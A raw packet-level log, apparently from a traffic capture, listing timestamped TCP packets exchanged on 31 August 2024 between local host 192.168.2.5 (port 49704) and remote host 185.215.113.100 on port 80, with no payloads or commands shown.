Aug 31, 2024 10:14:11.322352886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322355032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322362900 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322374105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322376966 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322388887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322402954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322405100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322421074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322422981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322429895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322443008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322448015 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322457075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322465897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322491884 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322547913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322562933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322588921 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322597980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322598934 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322616100 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322624922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322638035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322653055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322676897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.369421005 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.374279976 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611183882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611260891 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611268044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611275911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611303091 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611310959 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611314058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611330986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611351013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611356974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611361980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611380100 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611386061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611394882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611407042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611416101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611423969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611435890 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611438990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611450911 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611460924 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611476898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611479998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611488104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611502886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611505985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611519098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611531973 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611557961 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611558914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611577988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611593008 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611593962 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611603975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611617088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611622095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611637115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611638069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611648083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611665010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611665010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611675024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611690998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611701965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611711025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611720085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611732006 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611738920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611751080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611761093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611764908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611777067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611787081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611788034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611803055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611813068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611815929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611829996 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611840010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.611845016 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.611874104 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612051010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612061977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612080097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612099886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612099886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612109900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612112045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612128019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612150908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612170935 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612185955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612196922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612216949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612227917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612255096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612287045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612310886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612320900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612334967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612335920 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612348080 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612361908 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612371922 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612373114 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612385988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612396955 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612401009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612412930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612426996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612430096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612459898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612472057 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612476110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612492085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612500906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612512112 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612519026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612524033 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612545967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612557888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612634897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612644911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612660885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612669945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612688065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612703085 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612742901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612756014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612771034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612778902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612797976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612806082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612814903 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612819910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612848043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.612943888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612953901 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612971067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.612993956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613013029 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613059998 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613111019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613118887 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613152027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613154888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613194942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613199949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613210917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613234043 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613260984 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613787889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613796949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613812923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613823891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613831997 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613859892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613913059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613924026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613940954 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.613956928 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.613980055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614110947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614123106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614137888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614147902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614149094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614157915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614173889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614180088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614197969 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614208937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614589930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614630938 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614634037 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614665985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614696980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614706993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614728928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614732027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614738941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614749908 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614757061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614768028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614779949 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614798069 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614917040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614928007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614947081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614955902 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.614957094 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614974022 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.614989996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615273952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615298033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615309000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615313053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615324974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615341902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615351915 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615353107 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615364075 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615370035 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615381956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615390062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615407944 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615420103 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.615957975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615981102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.615988970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616002083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616004944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616019011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616035938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616045952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616297007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616306067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616348028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616358995 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616369009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616388083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616400957 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616420984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616426945 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616430044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616447926 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616466045 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616507053 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616599083 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616607904 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616626024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616636038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616657972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616658926 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616677046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616697073 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616728067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616736889 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616755009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616765022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616774082 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616781950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.616799116 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.616820097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031066895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031081915 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031111002 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031121969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031135082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031155109 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031160116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031174898 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031183958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031202078 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031202078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031223059 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031224012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031234026 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031244993 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031253099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031263113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031277895 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031281948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031291962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031306028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031311035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031323910 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031327009 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031341076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031349897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031363010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031373024 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031377077 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031389952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031398058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031403065 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031414032 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031428099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031429052 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031443119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031447887 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031451941 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031466007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031472921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031476021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031491041 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031495094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031514883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031522989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031524897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031553984 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031563044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031572104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031583071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031584978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031584978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031599998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031600952 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031610966 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031626940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031630039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031640053 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031656027 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031658888 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031667948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031681061 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031686068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031696081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031698942 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031699896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031717062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031724930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031729937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031743050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031754017 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031757116 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031769037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031778097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031785011 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031797886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031804085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031812906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031819105 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:12.031836033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:12.031847954 CEST	80	49704	185.215.113.100	192.168.2.5
